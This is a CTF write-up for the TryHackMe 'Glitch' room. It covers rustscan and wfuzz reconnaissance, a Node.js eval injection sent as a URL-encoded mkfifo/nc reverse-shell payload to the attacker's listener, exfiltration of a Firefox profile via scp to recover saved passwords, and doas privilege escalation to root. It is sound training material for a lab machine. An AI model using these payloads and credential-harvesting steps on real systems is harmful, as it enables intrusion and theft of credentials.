TryHackMe: Glitch

TryHackMe: Glitch by infamous55

Challenge showcasing a web app and simple privilege escalation. Can you find the glitch?

Introudction

This is a simple challenge in which you need to exploit a vulnerable web application and root the machine. It is beginner oriented, some basic JavaScript knowledge would be helpful, but not mandatory. Feedback is always appreciated.

Deploy the machine

Deployed and added to /etc/hosts :)

╰─⠠⠵ rustscan -a glitch.local --ulimit 10000 -- -sC -sV -oA glitch -A  
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.171.52:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-31 23:42 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
Initiating Ping Scan at 23:42
Scanning 10.10.171.52 [2 ports]
Completed Ping Scan at 23:42, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 23:42
Scanning glitch (10.10.171.52) [1 port]
Discovered open port 80/tcp on 10.10.171.52
Completed Connect Scan at 23:42, 0.03s elapsed (1 total ports)
Initiating Service scan at 23:42
Scanning 1 service on glitch (10.10.171.52)
Completed Service scan at 23:42, 6.06s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.171.52.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 1.61s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.12s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
Nmap scan report for glitch (10.10.171.52)
Host is up, received syn-ack (0.031s latency).
Scanned at 2021-03-31 23:42:03 BST for 8s

PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: not allowed
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.32 seconds

What is your access token?

Ok, so we have basic page with not much, in the source code we have

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>not allowed</title>

    <style>
      * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
      }
      body {
        height: 100vh;
        width: 100%;
        background: url('img/glitch.jpg') no-repeat center center / cover;
      }
    </style>
  </head>
  <body>
    <script>
      function getAccess() {
        fetch('/api/access')
          .then((response) => response.json())
          .then((response) => {
            console.log(response);
          });
      }
    </script>
  </body>
</html>

We can see that we have javascript function getAcccess but it does not appear to be called.... Let's open developer tools and in the console tab type getAccess().

This spits out a base64 string that we need to decode to get our flag.

token: "[REDACTED]"

What is the content of user.txt?

Still in developer tools under storage we need to put the decoded value into token

Now refreshing the page we get the below

Looking around we have an /api/items which we can get with a username/password.

If we try to post to this we get the below message.

╰─○ curl -X POST http://glitch.local/api/items
{"message":"there_is_a_glitch_in_the_matrix"}% 

Let's see if we can find arguments for items to take

╰─○ wfuzz -c -z file,/usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt -X POST --hc 404,400 http://glitch.local/api/items\?FUZZ\=test
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://glitch.local/api/items?FUZZ=test
Total requests: 3132

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                     
=====================================================================

000000358:   500        10 L     64 W       1081 Ch     "cmd"                                                       

Total time: 0
Processed Requests: 3132
Filtered Requests: 3131
Requests/sec.: 0

OK, we have cmd let take a look at the 500 response

╰─○ curl -X POST http://glitch.local/api/items\?cmd\=test
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>ReferenceError: test is not defined<br> &nbsp; &nbsp;at eval (eval at router.post (/var/web/routes/api.js:25:60), &lt;anonymous&gt;:1:1)<br> &nbsp; &nbsp;at router.post (/var/web/routes/api.js:25:60)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /var/web/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre>
</body>
</html>

OK, so this looks like a nodejs application.... Looking at eval (eval at router.post it is trying to pass our argument to eval, Doing a quick Insert search verb here for nodejs eval rce I end up at https://medium.com/@sebnemK/node-js-rce-and-a-simple-reverse-shell-ctf-1b2de51c1a44. Using the method from here with our reverse shell urlencoded via burp we get a call back

POST /api/items?cmd=require("child_process").exec("rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E9%2E0%2E38%204444%20%3E%2Ftmp%2Ff") HTTP/1.1

╰─⠠⠵ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.0.38] from (UNKNOWN) [10.10.171.52] 41550
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
user@ubuntu:/var/web$ export TERM=xterm                                                                                      
export TERM=xterm                                                                                                            
user@ubuntu:/var/web$ ^Z                                                                                                     
[1]  + 93639 suspended  nc -lvnp 4444                                                                                        
╰─⠠⠵ stty raw -echo; fg
[1]  + 93639 continued  nc -lvnp 4444

user@ubuntu:/var/web$ 

We can change to the user home directory and read our flag

user@ubuntu:/var/web$ cd 
user@ubuntu:~$ ls
user.txt
user@ubuntu:~$ cat user.txt 
THM{[REDACTED]}

What is the content of root.txt?

Let;s grab a copy of linPEAS and see what we find.

[+] Checking doas.conf
permit v0id as root  

[+] Users with console
root:x:0:0:root:/root:/bin/bash                                                                                              
user:x:1000:1000:user:/home/user:/bin/bash
v0id:x:1001:1001:,,,:/home/v0id:/bin/bash

[+] Searching docker files
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket                                       
-rw-r--r-- 1 nobody user 477 Oct 26  1985 /usr/local/lib/node_modules/pm2/node_modules/@pm2/io/docker-compose.yml   

Nothing really of any help, doas requires that we PrivEsc to v0id first. Digging around I find a .firefox directory in our home. I copy this off and launch firefox to check for anything juicy.

tar -cvf firefox.tgz .firefox
scp firefox.tgz user@attackbox:

Then

╰─⠠⠵ tar xvf ~/firefox.tgz
╰─⠠⠵ firefox --profile .firefox/b5w4643p.default-release --allow-downgrade

This will launch Firefox and we can view saved logins/bookmarks etc.

Now we have v0id's password we can use this together with doas to get the root flag.

user@ubuntu:~$ su - v0id -c "doas -u root bash -c 'cat /root/root.txt'"
Password: 
THM{[REDACTED]}

Done

An interesting room, even though targeted at beginners it is a bit heavy with the api and firefox stuff but was fun.